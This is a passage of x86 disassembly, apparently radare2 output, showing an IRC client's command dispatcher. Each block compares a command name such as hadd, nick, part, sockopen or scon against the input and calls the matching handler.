mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hfree
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b48d6
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048e8d1
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hadd
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b490a
push dword [ebp + 0x2c]
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048ea84
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hdel
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4939
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048ef48
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hdec
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b496d
push dword [ebp + 0x2c]
push 2
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048ea84
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hinc
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b49a1
push dword [ebp + 0x2c]
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048ea84
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hload
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b49d3
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048f252
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hsave
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048fa22
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569498
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4a40
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ab05
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ialmark
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4a77
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ab05
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ialclear
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4aae
push dword [ebp + 0x60]
push 2
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ab05
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.identd
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4ae0
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ad2f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ignore
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4b18
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044aeaf
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.iline
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4b4c
push dword [ebp + 0x60]
push 2
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5694c7
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4b86
push dword [ebp + 0x5c]
push dword [ebp + 0x38]
push dword [ebp + 0x2c]
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044b9a5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5694cc
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push 2
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004439e4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5694d3
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044bbb9
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5694d9
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4c2f
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451224
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.linesep
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4c5b
push dword [ebp + 0x60]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044d062
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.list
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4c87
push dword [ebp + 0x60]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044d104
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.load
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4cc2
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044d37d
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.loadbuf
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4cfa
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x4c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044d934
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.localinfo
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4d26
push dword [ebp + 0x60]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044e676
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569509
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044e859
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56950e
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4d88
push dword [ebp - 0x7c]
call fcn.0044ebdb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569513
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4dc0
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ec78
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.mkdir
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4dee
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044ef44
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56951e
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f082
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.nick
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4e62
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044fa16
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569529
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4e9a
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004507c7
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569531
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004508a9
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.omsg
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4f0b
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00450e1f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.onotice
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00450e1f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.part
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4f79
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451224
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.partall
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4fb1
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0045135d
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.pdcc
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4fdd
push dword [ebp + 0x2c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451560
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56955d
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b500c
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451616
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569566
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5047
push dword [ebp + 0x60]
push dword [ebp + 0x4c]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004e983f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56956c
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5082
push dword [ebp + 0x60]
push dword [ebp + 0x4c]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004e983f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569576
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b50b0
push dword [ebp + 0x60]
push 0
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004516a3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.protect
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b50e8
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451841
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.pvoice
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push 1
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004516a3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56958c
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5155
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f082
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.queryrn
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5190
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f082
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.quote
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b51c8
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00452021
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.quit
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00451f89
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5695a9
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5236
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00452021
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.reload
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5271
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044d37d
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5695b6
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b529d
push dword [ebp + 0x1c]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.004f644c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.remote
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b52cc
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00452335
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.remove
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b52fe
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00452489
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.rename
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5330
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004525e1
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.renwin
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b535f
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00452735
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.registration
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5382
call fcn.00452919
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.resetidle
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b53ab
push dword [ebp + 0x60]
push dword [ebp - 0x7c]
call fcn.00452933
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.return
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b53d4
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
call fcn.00452967
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.rlevel
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5406
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0045298b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.rline
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b543a
push dword [ebp + 0x60]
push 3
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.rmdir
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5468
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044ef44
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569615
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5494
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00452c5e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ruser
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00452f1c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
xor edx, edx
mov dl, byte [eax + 1]
push edx
call fcn.00556298
pop ecx
sub eax, 0x6f
jne 0x4b56d5
push 0x569621
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b551f
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x38]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0050ab30
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockwrite
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b554b
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0050b022
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockopen
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5574
push dword [ebp + 0x60]
push dword [ebp - 0x7c]
call fcn.0050a435
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockclose
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b559a
push dword [ebp - 0x7c]
call fcn.0050a796
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.socklist
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b55c6
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0050b7dc
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.socklisten
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b55ef
push dword [ebp + 0x60]
push dword [ebp - 0x7c]
call fcn.0050996c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockaccept
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5618
push dword [ebp + 0x34]
push dword [ebp - 0x7c]
call fcn.0050a051
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockrename
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b563e
push dword [ebp - 0x7c]
call fcn.0050a169
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockmark
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5667
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.00508e50
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sockudp
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5696
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00508fe3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sound
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004552ce
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.save
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5707
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0045304f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.savebuf
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5736
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00453270
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.saveini
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b575c
push dword [ebp + 0x60]
call fcn.00453ab7
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5696ab
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5794
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00453b67
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.scid
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5801
push 1
push dword [ebp + 0x5c]
lea eax, [ebp - 0xb4]
push eax
lea edx, [ebp - 0xb0]
push edx
lea ecx, [ebp + 0x60]
push ecx
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
mov eax, dword [ebp + 0x18]
inc eax
push eax
push dword [ebp + 0x4c]
push dword [ebp + 0x30]
push dword [ebp + 0x44]
push dword [ebp + 0x38]
push dword [ebp + 0x34]
push dword [ebp - 0x58]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
lea edx, [ebp + 8]
push edx
call fcn.00413594
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.scon
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b586e
push 0
push dword [ebp + 0x5c]
lea eax, [ebp - 0xb4]
push eax
lea edx, [ebp - 0xb0]
push edx
lea ecx, [ebp + 0x60]
push ecx
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
mov eax, dword [ebp + 0x18]
inc eax
push eax
push dword [ebp + 0x4c]
push dword [ebp + 0x30]
push dword [ebp + 0x44]
push dword [ebp + 0x38]
push dword [ebp + 0x34]
push dword [ebp - 0x58]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
lea edx, [ebp + 8]
push edx
call fcn.00413594
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5696bc
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b58a3
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00453bd2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5696c4
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b58db
push dword [ebp + 0x5c]
push dword [ebp + 0x38]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00454bfd
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.setlayer
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
